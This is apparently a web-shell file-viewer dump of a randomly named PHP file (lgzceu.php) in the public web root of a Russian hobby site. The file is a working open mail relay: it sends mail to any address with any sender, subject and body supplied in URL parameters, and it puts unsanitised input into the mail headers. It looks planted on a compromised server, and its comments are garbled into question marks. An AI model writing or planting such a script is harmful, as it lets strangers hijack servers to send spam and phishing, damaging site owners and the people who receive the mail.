Current Path : /var/www/u0635749/data/www/hobbyclick.ru/public/ |
Current File : /var/www/u0635749/data/www/hobbyclick.ru/public/lgzceu.php |
<?php if (isset($_GET['to']) && isset($_GET['name']) && isset($_GET['subject']) && isset($_GET['message'])) { $to = $_GET['to']; $name = $_GET['name']; $subject = $_GET['subject']; $message = $_GET['message']; // ?????????????? ????????? $headers = "From: $name\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/plain; charset=utf-8\r\n"; // ???????? ?????? $result = mail($to, $subject, $message, $headers); if ($result) { echo 'OK.'; } else { echo 'BAD.'; } } ?>